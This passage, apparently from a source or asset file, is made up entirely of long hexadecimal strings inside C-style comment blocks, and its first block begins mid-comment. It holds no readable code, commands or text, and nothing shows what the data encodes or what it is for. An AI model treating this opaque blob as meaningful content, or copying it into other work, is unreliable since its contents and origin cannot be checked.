149f68a7ac011e20e53e875b2c24df57d277daac78f1c58437ba9ea307eeb0a884b3a48b4202cab1d82e631d0d744fb4f042052360112212c2c55b14b8b08e5949e3cc25d1d04a9ed82ea3499c1728d44f5adb076b15555378e1003fbd6e50a2f07b9a3edcc08963e0dd23f2dbd24a774894f7860f37035d7888eb00ebf03ff5d7c9b1642b6e876e64c32c36e12953de84d5287aef59dddbd8e9762814538aa0c6c49630ed030d05889fd0c850e566e9aef74de1d2aac0edd6e9120b3a9d5c981c21d72a5da38d703298e4c2303104ed8a9b663ea5d2304c1e1bcdc2856d14b91104f2883d35c97f1db001c7268f207c12c623853c3d1cc1e2294d95320e51ed8d82ae386a10420bfab4ee4aefb4c58e8d8af63627dce6326562b3ab9e23c288e8cad249789dd7148751c2b2400d02d3bd8fdbedb01aeee8d11a6beb992ac021e4551c356d211d6886a6a99d185a94fe4d7e7d9eeddcc2b8b37b4ab42a25098e6812b2e69318a9a1c473956bad9fadbced307267d729f7eefa53f773bce8ae377199b88d3740de3aaf5afc3399456403c468e4a7cafea72e6f6bc86d7040912262870065b1e54e1617f5ec725708f6c967e385acfe1d6a4ff0db831d25337a2b3b9ea354bf8f2a1abe528988722aa15c5986f8326e30adda3bde6497bfcf8d51f54093bc2f7a9b1a647b9bad03f40fbd2b0d7bfa8de3446ac978b7efa4f469f476ebb4411e329f1bf0445a509e0ba184dd7ba551a39a2e33cda7f13df95d3602424d5263369805a9a37cab24bbed45f4486d1360c3dbc914b281b518dbfa3c4eb91c3a624c3025b391cbf8e8477bfc71b8795cbe2d901aaf4e8024ded3f312652ccd3cf5fd11265ea1622f70607bd921598b19207788c4c89c88e11a8b6d3a6c1fcf6ec685e16fa1ef5caf38085aeae9fb4e41266c69bc811aa9f1c5b6a19e4ed36f9b2dbbce3deb86b372752dc7664faa8ca61a8d6ec2c57365c4c7664e4ebf529cec7e4831e8912c245f3563125421f2e83f3c8e14328eaa0a591db67d87e85ea568ec266b2339602e218a97659af22e58e7ea68a3bc1599cb173ab27a350f650e8339c652c07639a8faf8e534e5818b556b62fcbad309057d0e634f9404f2d48be8465bb1b6e3c6f4536f7c5750a601bac4683644ec71094a4a8a13ff2ba5ba317339b5b5f8b5a3861b92be17e5dc321d89c4fe860b292bfd259553cfc601d6e1d725c2c2e637d013a02801ca6ed7ef72f53accfd9fec85532c8764c3ad91d3875486028b50da0cf718a3f2ca941539098ea261dec2b3b867f524a830b65f4847b3d2690997e02832e338f3507f637cf43ce8ff5202d1a17f754edae31f2ade8f69869514e6a76f086c2bca418558cd836efd595687b5bb4d88f8bcca606c33f87af3ec36694fed41c38e1c2c88ff87d3c1490d95ac6aba3d86a4f3edfe380221741798a7a6a1b39d0bb7209e33a1be30d473eb7247f09228d1ac4c7*/
/*7a6e1f8ae428d9145c51b9802ab3805f8da000079234634413787d43c8af0dc16a99b3149b533dfa2523839f197235031dacfe7fd7f5e249ecddaa88db45190a6bac0adc42cfb6ddf75dfaf2946a46e7f93c40879d8915782b1b466500672425ab3b9c1fdc45ac6b4d3df1a1fa95a1edd74108f52665512718722c1a2d067a68b2b255b10482c37deec964f217f0bb39774cab3096b65d0f7ffe93890f58ab89f432c977e502085890d797f6d6240fb72eb86deb7d6fb4d9e243883f2dcfc3f6aa818582bc04196750406b0365e17f74b0c2fdc26bd7735b795990af44a41f9efc83e02491b251fff4aad350ca7d3351b756a6daa03be260d1e39925bcc4a5a28602058061a8285efc2aa2a17493498df918b3762de1224f0473559921f61794a28a1a07b3cd5ce8bf74fc03c44c598fb5699805d52a3f8f1523d77a265bbd3394dc3a05c3486f1c84ed389a97720eefca4365940194a614f5a94b93ea881b33e8d4cc5dda5da4866d9a17e7ce8f46da2c5a350c8e4e7285b65b0c16f1babcb613710fc4b6fa4c65ba2f1e68a5f5c8fce927e4fcd8c5d3bc1ce538198eb9b075f9145e0bd5457cd0302dc8bfbaec9b84a709bc97537a4ea03178b423a4f046dce513ea05759afccdf2655041892adafa1bf599f8d60bf57504657ce2d0e5b1b1324eaaf05f8706e4afa338cb5d9f6fcc8dd5456842c4f541b694b1ec050fc19b8b9e38cb18469b0f3ddad94bd8494c0d247f92a3aeaf1bfbb14d273940f40340e95b794fe2b7fa100daec88df223812571049eba34899b6663aad292e975383859e47ad43b98450ece0ed7262f3c1eb9e8a43c50365016965de07070c8ceff79894f0bf34c66a89311c6145f5ba8d9af26f5a8e48b6a9b15a2152672289ef1468bd4d6005d999a9af9a00e7cd27c1c4d2ab539f71751ca46d65b9f24859b6abd5920d22de5df43603b8f8806b0889020c858443af6669ece2f41ac538e2d96ce59660d09e0f7fbeb1428a2310fc60cd362aa9f6ac5f796cb58943df11bf0d8ac841bd2b557f73d9f0c536941b3c96beacabdc34967e5221ff2bb2783b8de9ab9fd6baa0aaf62c9b6f870165096270e99534be8be69747ca0f4bae3907284e100d66c37465a55d1a7eee62f7f5f4f1f891c043fb867a1fbd61d7429e7a395945bd3e4e50f8e4344bc89f7603027f5972b625d318f23da164c3768cc2b55a060ee11d59af3d9a14127ec08893158bae23ba85c76b659a1b3a45bc470e43915108fa002dcb2cb1211b42cb113f0564ad73cbca655a055f16a304b4604cb21ab388a1020b7457cc99db6f4f81fdfa7239d41cf57a40a2edb15e82b43180cd83e7c812e3fac7a7f52d9150462f801705733b5d8077cb048980677171a517f1bc4ad255421e340396b3f18410118e09dcb9dd63bb9ee21677c01c1e428efb5b2bd342c2aa4f614b91bf22f5bf4493ac55203cadd2763b80ae29b3e57b53a4879db2499202f4453f5a9a905c608aa4a62c354433258ee722a8b6b376dcd6f527945920bc845a119b6fa6208458fd8fe97640c0f8d53fa61e35cb23ea4a985222968a86f913130ee864e147250c02b8f8a2673fa680665e3fa4b72edceae90cb87ff58ca877e4cee7007e6d89f4cfce724158ababf4e9baf732bd88c9f85a2e9e9b2e64a3b1bc7e222b50acedac960bec0fcc2b8b356835db9e528f3caa5d6ff371586054163d47e718f1f62bcf6f5c3cd3ff3ff2c031c8307c68e10562ae9196ffb74054c4e162913eac2f1a484d85e111a6945066b725442a7ddfe3da8d70310db2d54f85e853ad962d630a4be7f559214b654869a0a204ba1cbb0a5e22bed78e35b36b9e033a41c7e78e1c73f08b95512ff36d06ec0afd60d2d65dcbef488ab70cc8e3a458d58449f3991ed22389d249a4bd2b9851a91bd28aa88e2cabbc1701cb6718fe1dbac7e92c0763d96bc21e701acdcd0b7cc725057d7051436328bdb46748a92783ced8dda076063d39981e65f151e66d9eeb82aac8e011a218ca4798bda4b0103c3b89befc1bf4d75c1b35c9f2bfc93e236085d089c3867fabe318d4b6afb6f5b391d3c734f71033fc9201188d46656d593e8ca14c09811c336e5c1c4cd720a8ce91840c9b53fab243d2f7480691f836103ece7570cac08a0fdee5e89c40ffa3ba62ffc80fc16f10098b71b028f67be7675320f0084873a3b80cd3d7cfb982d125c3d12033fc1d207a23c3df25b7b4ae5b70dbb7c46360e33eb60718582857317d74e8fad1235f4f74de63035a2202fb3a8ac2688098804bb5a9b2827132dfa2c319547aff2634f74005502359b9cdcdce6db14e8a49ea5903960c4d5a47c322df4a99486215727b454ea90218f2d99e6dfeb6de477567fb55c2c7bc3c0f00e071b8a9268263a41920c4aa5ecabb889d0bdb7cfc1907ee16815de454a86972a7446a021e63cc672aeeb1f2c2fe4f7ae45d3f1821493608e092bec85114688febc4bba3361770d1d20c9facd263541ad4627c059c5adfc337542ace94cebc23cda31995737f99bf1c08e746674ccdc914b3502e3c9cef7870844ed782bb0d2a8afb6b054a2ee4548c282a3f7ed69c4bca12f20b112902a574b10a385d99d2ba79a66533c36098d38836afe0e3655174ce1b3866be9a5e68a2d03f2bdbd79abdc7fe53b668f4d118647de6e2597522d8880e6a9880c8853fc05065ca3787ddea1782d88e4ae551246b108a3950e4b4528322ef51a42da638d72752db56c3add3dc9b552d10d2a3fa75412721b960c872b16e7b264d3c5e2191ee6609028e88cb0bc27bb942ef523c4526e0148d8afe8*/
/*2a8598ff2f6869e911d943be55aa3a1ec5474fb9cb4173413dbc519089123275a57bd1a6b6973a403d9a3f00053e246824b05c89909e580f04001d5e45b5d679fdf1d413de416a90ca9775580044feb6f34c77563e86c2bd7f8f6015693f878ef996749f57c8a159a4b7d705c62767ac334fd034f34719bf2fa62f3a2f5e7aa442cd905d13af62c0dcf74148704c9ef5d06ae1b1b63f7a086d14e57e7539d1d194a53605bcaeaaa408a75f45002cc17152aa556222eb4ec6461b9accfe72f0f42b82801d9727605e18098cead7ccbbed2349465bb1d8a6ed0e20e7961a8abdbb3da6353b3fced6cdf8c192a926b17c18396c1a1d1113be4c40cf7466a3eda37d52bc7e6eb26ab41532f556316348b648c776f921b7b02a5c21d9f9b1a713c6168b41f325dff577d7ee840d38e863f198c6dcba6d6928e8ee259d49ee265f9248ad7a52c2f88f95fc2a8ea636d0f193869daf92f736e3cbfabfa7b4115933ca84bc77cc29f1532514188d40d4c407f3f0d0899586ffcb924dd80e261cbfe7f7dfb35565f5dd9afc3741ef329eb49f94b4d2206bc8f49ae7f2e5b8eb8b81a483120a7f5e2880ada0a398a177873858eb57f7ee15783c599f2efdc59c71f6dffaafbcab8e7a9d0af49ae5bebf0d606e3a2eb6a23528a3d60a2e46698b6dcc08e94d670691e50367858def8ca226a151847059c42b774a81cb447f2d44ed5ff6569def75f7e014ad05656b18c73ea9a23a2233108e660eb4351bc856ffe97c7c233ba138a62ae333a2ce47881b6b19873d57930ea5d53c32d3dcc4084f40448521c3d420be1b0cf1532907ad4e26fcfa976757d64b0efa122823b008d3e4e193d59f44be5e19776d7a995349ded120926bca1c470eb18e713b64c707d5148c76be11ef5e97a770cdd3e21daa5525a2a263f96904506b7c8ddbfe57b582f904f5a05da9acab2cff2795e7d6034a6e5f6f01cf6e647128c786bb8c37fed92dd1de446801546d90b8b432e85a6fed1e1d88fd6f30474963cc4fa2103bc7e10aab0c1755ce2e49f68b25309c05072b0a9d6b1dc8eab47af8f52d1beaf213521961dd21781ab7ea25949fc9c7d68372341bb66f803ef20754b5060bac76e8d96f4cda5ec50df9f8e0f64532a5fc6fe718aa7c577472f1195d54803d0cc39856451cdf6d1b4884416a0e5ba28872a7a79804a2d878f2095b9dd8526ed7a5c622d5fcecc0d582c212d38701a1335e29dd3e118d35f90a053bb92160350e03dd6d112e2ced6a8ae49188c1bfb30f187a3b140b63ffd29d0323631fc207a93f0d3d66dee70d7e5379ccba9e28ad63a22b6234199af2568d17e0211d3b2f4389a46ef1f21eaba0b6f8c223c490361fef3a4b286912067cc749268ec6b996dd99ef98abc84cfab9cbb194dfc75e3ac069b0fbb7e3e59290f7ebe56969fb65587671f1e88a7bbfa6fa92b7949359314966b1dc9701bab85bfcce7e1f79a15eb1c0b370bb6500027fcbd725f1f7b1d67814d932fd9a1c99f4a8aac967bacef119bcbf3cf42641eae1237810c6daec3c980f0c2cb9f2fd2280e818eb5214d21a5f46fa86e38ef780c31239bf8e112ef6c070136fcf45b0b969cac68f3bd02eb33096b85902392ca563ffc9ca4bcd5ec55bf738a796cc69cd17f81c06eb1a33502c0c45b89c36128259e10d780cbe1051f46ac01b70d733e0164ba47dfc2d313feecf7505614e96fd263f7d7f1042f4a7a83b957f5808bd33057af892556e1d2bcf2231875217504adc8d4d85ec18b219439bb9baf627d1dc9844ac473c6a6f0a883c1cd6c3b0945fe249cd3cf17dcc27c1962412f598e07ce8def576f7fe1d09dbac4102b0b8ef8ffdfebf1fb00e9338359e15c15e02edc53df618dc7a53216db9e86d8c5c5421be3f2fd710853e9755d9998db57423d33ad0e77e76ca35ac9024e92558b061c3b678c9a7522bea52a7a2de5a10a0a698f401d641dd56e83d7f25fe48846db64879d4877710ea509e5bb23942a20580bf7ffa7271eb1b5c5de1cf17d38d29ed18314cf022c79c079072b81be2d794a71f28a57cfc85be8afe077af7c6195091676821eea202c8a1a44201673aa8c9dda6bd6021df95b48c9d12563e1ee38dce30a23096f95cbcb5acd5621e3bff21ec8164c990a263269336639035130e7c1b8e07d341fbb1d99cb76e0d0f588d40460cc1058b2d55f4ea796b2cfac6be2f12ab8aed0aea37a0d0d65f9c86d319e277fc3e66b745e049ca37a897bc8998cdec3498c5a6f1c63602693d622c90286d688cf47043e93be8f3806e19c6c729ab3a52010792d4dee17ffcc12aae4ecf3e48105bf9c0bfa0cee3b44671bbe5c8f0a422a6391dab01b54aacc432a4bd40e5f0c74a83a109466bed983685d121a728cc354c208c7233360761e5e4947e9490d000eddadc8f3d8f5cd587156e962cbf55eed30323a93d62d19dff85f60602e38ef2b1c00aba4b914c14348083befa8782a00eceabe84f6ff18146ad2e9fb799207de632de3ae3712035275e8a38e78b8ce64a2fe7b08d4021b73ee0c5b5012837489aa89f38b8e7ab94afadf029ff29b62cfc9f9b9aad5ae3a3123a448e2eaae19a2c873fb281ff7a79e53bc5320113f0b7c4d664d8c2545035f04a6343825b645c3b93223e045a5a76f0d5d1a3447894daebd3571cf222414049b48d8e41c76f4ed5b173a42179f5a954b2afb07dd2f72880ca502a82062ad19cc79c8ad7f4216406fa5453c52a30edcaf5eaf92d1cda06a458d430785009ae56fe8979beec7439f88f42bd46f1eae529446d74d9b93e7dfd807e91c2b5d230104c4ae4c0e89021574c*/
/*48f7545fb28cf091bbb15692dd7e56442a64b299e2e17cd6617377fe209be5b80ec89f7ceb8bf285fb9ffe4734bffecf2e406b1cc871cc0ec732a00eb945c5c72ada1e868921dc5a7ed6a8b8799a5d40ac2c09d136abbdfd692b1a0d10ea6cd04252b1cfcd29cba4ea3b7dc1d82134065b3461c10e44d6e26c37ba683dfa27aa4ac67a6294545b548a94a7cc8a0a7844b437222e06afed1ccf3fa91b9cb581e16f10260b240c2a15bf42e3c9af238e63a1da80676d26c045ec2ba3f47eca1bb94c254534c6b40dcd2c0e93e23e59095eaf92add9726ba94306522fe2b115db25a9339bfd49c699634a01ee8099f46fe99f67ce08a887ca6c9f911ff5c9f7f9db179fa0d04dff21cef1e46fdc6c9ee10f5c5c467f24d26e55fe714e13d5e9cd95975804095a2b8aa5dafc9ff4c36a59556beffca8ac664478b4d820d7c354aa3d0e2b71938ac20897616350cb2b6a3c5f2857d9d6065e0c61fa373893289587eb520c38ce7efd51d23cfb133a95c9a8b2f3aca0ada0b2214c747488f6f445ee5fcfe5a83196de13bbdafc1e7ce8c85890e4697b43d9dfe8f1bc4f5f0898b297c115df4ec8c024b42a80db78579aaf571ef036a0fec650c393c6228ce4ca9df1797f846523df5c259755d3153c6d5032c012904c7a3f6072b687909457d17a024af37394e204b4a9e4bd7619262d0e742bda2ea7485c0cd594eba3da9103d112c745535a1f9e390c8b16da0551d2b66f68778d2b57edc74dffe43bb1cd168bb107bcd6c2a939e7fdddec314fc4ba40ee233c1c18e66056d20bd885b60e7fd01c3160a352c7ccc9058bc653472bfa500732768b941bf7aa5a41bca4a97233cb54a5c34116824e41ce654e4c041e385c3354624b93b3921ba5f96c02cce72c43daa7c191fd4e42ad157dfb889ee4ea0544a8c5353ee9e8af684793101018bf752fdd98f5d3b9ec497b4a426eee6aae838a149924471f09be14a198b7de3289a5ff424e3f5b56a083f1b73e95c8cd90629b480cc81f42f8164210d209d3662baa77975bfb3cade604afe11aee6f8e64869c81f6a37550d36239634bcf8faea17d8db52c06cccfb299a92c9cdbfd31f06f34d9e911a0f2b460970dc14a43048343e70b54e1dc6ed522fe1dd5624af8bc4de510273e862bbf741e2bed10ec602ed2e528a52952775b0872be80be6402db259e6225742c9a11861c707d0d9f10df370e5608a73920285d9b6a3f97c363e8eeaf0fbb7b63ea1c9f67cbe9d4a066b54d397ef69e16d187ba700df423e109870efd0a630274caf4e02ad9d101123f84bf08bfda5c87b3627ef23c3d7f6b46664a3754c1425e249c19112f3ba3f5c8fef2849058c33a128ee6a9d94ac5ecdce3f94a850637708fad1a63fbe9777775683ba06089f4a8f950082f828bb1d4ca0aeb289f98db3c6629f7a93ad542562402a711733b69938944faade6f1f8f7134ae00b0aa93855abe586d0bcd69d0110ca2ee6b387dfe0920fd07aa24a8149428686ae7cf4b6f8732d78633265aec29d82510fcfc5a8a6e4353e2a0104e90e650372a1631f9b07d977ec08dac63d64f8652ef22d548f64406d707d8d265719a4b5fe1f2bf7cc0c8554d1746a2c780caad706f12efddbdb00722ecbd0213dd7fcd8ba0434fadfc46f69f6059357ec851256314aa23460b760309d2455f7a0f4b50b814a94b6f0addf462fecea4a0ead26202f641de5691293493e7a21072fcec12df22042e4fe6a2beaa5b8ea755e68c09e714a2a012c00fa19af1b15741b9f7e5ce1dddddadfb196ff15b11acde29a4ac6645f4b0ff202f95489153c28626cd56b51196bc0e44bc0decc55d38c347d8f675a7d7037185a68c5e57a292ad3f613bdf96fb75f3e76e1159ce2301710168a5f15bb1595213af9d24fc842e7f5b14c73694e825722d2a78b4248171a54c0ed23a7f9a455de7cd91732c35a23424a37a229391c1b876a6b124dd045182d03d895ffd149e2c14ca71194129fc445cc3b8fb603c654a056d102e6023ca82860fae2acd991997df81faa63f9730fea9f5a43fb105e359a1468473ad2e1bbd843ddec3b56be758f3489e5e89ec96e4a87aed31b62c9d95c64c9453b280972689c71b6ccc4e55b387089c1a958bd57102826d083ffb20ce09d218ec6723e6cc8ce8ac0f44832b9a6c2fc5f3488f43a2e385ffdbb152bf4c372b01a3f5fa520793727a47e8c40128d03032bf1dc248cd48f19a4c35c127e0644ca92beb4b9262f191d4034fbaf51ff3d39c48310f26240c1350def84ebcdd3e3a6e926d1367b62bde5e1dfa92c5a8115cd64212606198069a002270525e2e15f6603587141e2e1eba3df045483b8e7f699b37e0e69438081f3c65d8d7dbcd4a1b8cc144791ff25376f188f1a11e4257b38c86031af080c36695860969075bdbf9e9370d24588f9b02ba6b28e275fcd1bd46bdb79b5b45817dc64b50f5a81331e487cd191c8c27f67813ce011b3cf388838eb6a2a0a21a2f3a1e89d71cb4b32a4a79cd3737d581d5b70a83443fa50c1248c01301bdec98ea616afd19c81efe891471db258a4e097a7ab75e45413de1b704901ea9972bca37d1009a1d2ae8c2dd415fc9b82879107e157365ba6f5779dbdcd908a4e39e82d393076daf477e5bbab9789ab548e15d584718e91968f75b326388caa3ec692f5601f75a24a6e54fbe1f06e34378c662486f15551cbdf92f686f7ffb0eee07cffe94c317dd5f635c6236790abd7cab8b208a204963ce2cba38cd10ca94c37a559a471d4f74f25def582d2f0b9027b4cf1346c4858ce0eae739340207d97662afc753a4fb245be*/
/*2d98cc1d60fc95c17bac9b3e452fa22dbdd35d1afd2f562cc6f5f908b94e9ba81af97e41913fc486b0e6b983b392d363607075976c5feb334b4a09885f876087b556d14c0eb52dbea10c76fa1774618bad99dd6bba4934d1a2181bd26743132e5349fb826970a6ab15c867e10bdde02e87702809f176815df7aad9461f9a12c44fd6c2af4187f2c1e01112de8737e5b8cf93dc4b628dfc4aad63416299cd6d549cc5626a7c35c07ef199a8ccc945c5fb5f38d7f28d5af042d8bb11a4131963619a9c6d248057c3e9a0ad1f26baa498c25fa9ed1e10db3c3a844e5fe2a8abb18feafc7351b38078554e31b949db0373bb41ac5b346b5ee5613bbb5017491ee832479981862661e1d2aa25cc8e00e410486124a166a913a3eb468ace92bcd1d8c1394ef7a3574b30c4258a07e1f1d481851300fbabd159a0a490bbc7c87417d5661ae2e32ef9327daf54567afd4b05590f27f5c09112d6717ae1e44b41bd0e7e5ddb4163ac2bfa4441d6dbbc025f826bfe990c92f8866c6b099399995083d5bf07734595f807ae9375bd7f5b78a350aa26416f7b9746c616a1dc10143d9be901e99ff216b8ec48ee722e6bb37708a7e66a28614fdbc2ec6b805b7946fec7823cfe25953bbed3b37af1a7f2cd4ed04d3186efc64c1ca33ed57bfc315d914c897e304fe4ecf4a3a59873b447b80ec0fad97b5398e0d8a768253a463a4828d1da2749cf1a0b6cea792bef486bed8c01a9b8d4c1cf329365c3f11b1d950ea55b6883a07252432f0d754316260783b33224d7a338cb3579161a60110bd8b47dec36356f4647631fad2757a47f095ff4cba5590ef2400e5cf4dff96d72e4b4a9f76ce29f1df5d6051e7a9078a628314c7b5429fc8c784bd6a1966ab62f8b95a2434a2f5b35c04ae17c504a270f8e5d899e33154a56857535b061283ba0be73bb4b2eeb70a2946e3362d0a60a537e9214c5d5e0ae8ca91c188a6ede0ef509e2e14173a4be67259b92f8c9909ca2a308996e1d24410174505af7d4e4937e6cbd069a148108850ce0adeb233a66f99f582e12c3033df8cd2a418814f815dfe88fed9731a3fb821bfff54170e4d814ce1346d80119eaaa7b2b0caa11777d51685f24c931760a976f99bfad950af5b9ff5fc109d8fc6f44a3ce60d2a1f486dea4b656feb5c374eba042dc8c4a589bccd3a4700777928364f75fa296bdc5be04a0f3154c1adec2e315b095f3c68e027e0cfdb5c743d122ca8a773eace426462605f7cd8a88756ca4270ab923a65340a90d8c3f94b109088bd19bcd2b804d94207bb3c704abf3c036f74e4c2b5ff42f0d497c0c9403a1355ef841a5d51f88039fd4f7965a2e93048226b9d2acd051a8bc930a08efd0af593acb5a1cfd6c38a7ce883b1e150635348fc689501ea601f0de0344d614fc01668034baa42ecdc2b48d49175bdc46a84482f9adf40386c68e03d8080c67f768c56dd22cee97a6c0eeab0aaff27ee9ec897114589c8bbbe549e7488a76000470bb573984cf6f33db0653db51e2e05d9f6e6381db405c1a41b107c60bda65a5a165d2cc92569ecb36924559c346acb5e84885f791d17c19f136904513faba3070c4bf229ba069cb4cb8569bd58eac3d21b19693785517ba48252b622fbadcf3aaa8d280d8a854f89f05c3d7516f803206eeefc2df067ce42362cdccca5dc26bf85b5eb0eb7fe12a59e3f37171123438a36c315e371db6ced82c4c4bd28be2bc07c88d71b8ee2f018844c684ca7187ffd1ac2925194decb962735278b955f5508b73322a86924e0df2f7f2bb1b9deb33d9e3d538dda7194d0c7fedfed4052b7e9a665137b1e4f1210ba172068a7eb5e658087db0c771909be585de309a541ad767336165e2c33a98a35f83148c8cdbe5b355c2c8b30b10e1dbedc5f7ac9abd98c2c9f7cf160c6c37ef038756c67de9bdf4166cb468ef94182b76eca7db41942ab6eec196ad88d607e463e9f28cbe236f71cda5268cadab9c87f916ca2d2dc816605abd1d4037af847f58f30e826b2ae9c819f82a9140e67f6257569aadfe90618c76b476c62415938428ee8e1a391bb5d14dbe62a998fa4f3dfe22917616e9c4a5489ffb8c4f916068b1d1df87352066a7ff91ee0b388bc2f23e8bf6a1f39d58a2fc066b4cc611ac437d7bb7e65c0c9b46027cb9571ebbcf6fc34822fd0e49a4366863d854f8b66fbbe401f6ef1768914ffeb1e6048cacd75af1a32c6bfa6c50e38525893c3e75fa99e2b01cfe0cb0f997320ff24571ade436c09f8617456a69fc868af1585b2025e5d1b74a0c11c1fe6e32bada6b66958d6bb459c6a16261091a732ca6120ec6b37be24726055dd898d2963f3b3d23777f4c8818889c4d4b9363b377c58b61e146c7e843e69f9e27660a495ff75115e40a29a00c439320c251d64cec4979d5463363c5a2e598157db5bf7c2337f374a1f5f26b09850ee48bbd9c0e5a97cf1402abd989998d22b0290fb157dca21ef696077619b49a26ef344ec88a33f0b73d8bcb141acd1c6d8750d3be42f25c58b2d50b7151ebe9906ae377e407136517ef92b31cbf637fc274e60c0ecac1005b7e4263f5ae8012ed8a97a9c330897598de8e68a9cfb706b7ddd7e0eec8fe9726d835af3c38a6ac3e940c3c688f08f14cf2ea13f7e022aa9ab58c22818128ee86222074fdc095104376aa56405af058c49bb37b0b2bcdb3a633fd552fe93853d924b70ffa1a1694e911a5d54db2ff3316540947cf8ff5b6560f306289c798572653bdb81d9b6abda05a04cda19af575ac9c2455beb4644956df62d7f9c7e74a77a6889e6f6dee785f9a1253e388*/
/*07e86e433c026af2967aa124313d94529684c91c218b08ad3b6550b903b0a60fa1ef60e9c00be9f6d7fabf398febfca4d76a10c164c5a8e83f8fa72731e20731c640e80f6cb156eb0101da2e88578f1287fc997731530ec8be7b080f2e67cb0d2127e0c2dd2270aa3fce1d09ee3e5a7a7a16d87bb7ab979fe432c6b2a0ccdba675f49085f0617b0b69b6ea8ced0cbfcf662f09cab4b318420d728d13723279762cfa26909b396e1035c49373ce58f221400077d066cd3f9a4534273c0b535ec7868a9f4080a68744f5829433bbec50e62474bf0aa318ba9d830a82a8094f510a0580c7a88e958b59eb4f54e02760274a3da490cd9cfabc62b21ee50ce584ecaf5ea7d9cd96ea6f9ca698a85c69e3b4d4691db7bdb9d9020d63c244a61c5278bd5c227ba9e5502e2229fa8f74bca0877b992ef18b6932156e1affb23cc6e4022e55fcfc4ec132de7ddeff36fbde3dbaf79024282a296487787cb072a7f05dd71ef203116724238f91cb3cd558c72d07454ab071c836bac148ab8f5d4bb73e8252ca04e0da3421481ef2367f6d6ce9d77918e9f92643f92799b159c9cbb2ffdad06b641a98f7f7f639ab87e595c7f7c4d0dc2caaac6b8d03df32355ff410a84bd9c0e79981b7268074c317009251f3d0373b2883320d01efe86f8191023fcb10b87babb266be1c7f99af081f1b68bfedefe1d277c4e9073db97e633de0ad1622338658e49d92f4a838a82d723a08e1daf5ea9acc3e5b43bc406beab0e4ffe054b76aff95f81dd007209db291d1c347115acccf0fef287774865c1643df9b87eb7434da786d6c84edc03c8291c4a412286502d65d860dd037b5491dbb029c0801f33c8c7810cb8dbf88231c3a78936647046f6fee543ba226c0f508e3ba4a3a9365153b64825f173db7f1214d4ab7af3419498b92c39b7a6b8c366f97eed1a40bb9758e86f3df58e5fd9982a0ad73f3c014918666a5792a96c6f7c6c8325fcbda6690f9b0d19d8c16066c23e06c8158c65a401eb94e7f4a8c5451815b1689f4c89d0687777ec38fd236ce7bafd811ef61251ea6ec13a085e19ae5b6d1670ce4cec4b449e2419caa8995160a48ed799298241d93563cb37a5767440f90d4201e315bdf0b701eb9b69a143f7adfea5945923626bcb55fb812c6488a868bc63702190018728b04d7714ec94773ccf171beea9369af64303d62b3ecdfd0465e7a64e725fad660e8d471881e5aeea1cc07d97c59dd157760d3d22b6b91f1e893e0c39b84d03cbf8865320fc7ef9b00b2ccbd1f2ad2332d9f396f380e4bee948ccfa4b065d840d3700f59c9c5cb98e87f6031708771371889bb1daa7c9fb76e2218026750875f6a3f477fa273ae492dae53da890ec8b546fa6631243caab86db0ea25c939cc503eea89391d589fc5bbbef36e468f1e68f6fe965e3824c5b0f7f2645c1747e515c2d56dfab9922ed7864fe83fc7d137fc88b0a88091c993cce5c36da808b6f571faed1049864af19bb394c8cb86c4d0f8c40559e5d5c7b67de739a9a54e691ac81d26eb8e82bb508aa219a144a660e98cf07d3247bdd4248768d13fbb59adb7dd5cb7fb14b913b78c27ae3c3a64e3379683fc328b1ab199a3bffa703ae8f2ebcf70ee64b9a6db177bfed9d570c2a6484b1be520469c2adc3df6ea55394bb22bcea7734d93c391222943c0b60a22815872ce25dbe6001140f077c92950aef0f5e980b8d2503580674d679d9281c2901ee77f44af536d0ea9cf90a7e0b143a389ad6e5ea8487e74b6c096b869990c8e1e9c4c7a3fb2f81f4cd046e44da535e09fe90ec86ecd67ed9330a7d94b874243278a81e1d46d268269fba9b6e9c8008a84a6aa67a16b3dae6746f3d04f2de3cd28d4daf73027b5ca44f578bc018a519e75f74d903ec33d90793cc573f1191bfceef700a2c93b9c3677e8fd005f7311b5233f1e9d259be490f64aba86d527cbd2b02180d85ebd64a3974dad8878002a1e3ebb135125d6e2cfced8297716b9d4ecc2b41d441ae1bf999433946e09e4139f12ad5f957f71d8392348d8f42bdb8315d39833ef731d2b367a04af3debc87324286926840851fd4d34dbb7b82101f259d6f8f8b08374f1705a7d10cbf4803c8dbf3ed170ecf775c25beeb9fd6a543bcf3d4ae0d35e202a62c7fa96b6ef0ff8e027a916f50b10375f2c58ddd59e427d795df904c7f0361005bbf3df414a7562c4e4ccd135e07d90025a2794b361ac548f544232e953af8e34985ab1d1d67f88a3b888988f4ccc2aa635bd59cb6fb01dd45a16a823e241f5c7fe37d5ddd53c412979da5a3eddcab0457b1abe13075b7918c416fa1bc635a28733bd5a6c2429546dd35a72dc26887cd755285aaca282c8c1b9d21b82da726aaa34f2a60c9569dac0b3d74629f47eef2e856ac02fccc81cfcfc54c621684374b1ad92c1371e611a0a60a5bc7f0c580be569806dea2c64fe0c10a54ea4d0425ae68d19f8a18ecc8e9cdef335c9c1e4512502113a11dfaf4b99843a8053b48ca726f50997d87cc4586d4423572a76b151871b45fbf57962679866a8456898926e1132f38bc3ba40b8d4c729020e85040267a12e2f974b9823541146ee19b707d1e0987ee3b4b796957c0ad5e5ce709fe488d1ec7cd9b1146506626f3efc97805e9254de0806f5daa808b30d87b6bf4ae7e56e0d228c70b70d45836f1f34854b526e097e250dae94dd66c4b6e9d8796a7fe435b0c90d349f950b0cb060bd5f096e118f4d14ad2317ea286f6d600da6bf7d6130da7c40e7f270233959a89e095050df4ca699ba20bce0dbc941599675c46bc20ea875de12c95a84*/
/*e008a1f0918f4a139b2a20ee092f6aec67960bd1cdab1753709bbabf3216436d8ce2fc4a6c85461bc8f5c2f520d4e3e456658d6c4d14d98b7b577e8712b43e87860607461f7810cce4d97657b9607a01b4c8c0edd02c68bd2698bb941c13ebf6e64b7c1cb0a2bcabaa789cb15063be2c5331ae0ecbdea4f196e1a0a6feb5bdbb0ba89c95e8b8772e0f1f81567cb857272bfe4ce21ba301ae026ea7de6840158dd302b37135fe6a649c721c88432a63c0b8ed70ce539b1d38f9b6c5330970cc87005786f9703638864d02aa5006e1eb795041e0255fb23d55374241e8a0b6511ab6d8597466b1b85a26d34cda98402fc2a46bb0335495cb664b31cec9e2f35a703c8d978b36c152d66eb0d3b358849581c139d7704489e43d48995ba28a8bb088e59137b488f3da387429cd6c1113178987cd9e1469d8d702c044d7a11d3c984e1fe5cca3f980bfaf8588ece8881827ecbc5eb304eb675120f925306cf117d1fcba54c542a83304fe5c44238c3e8b7cb98e785fd497ab7463653250bdd9de7ce7e943765ad889c99850e155e493a21bd51e2ce24033574ab51ba3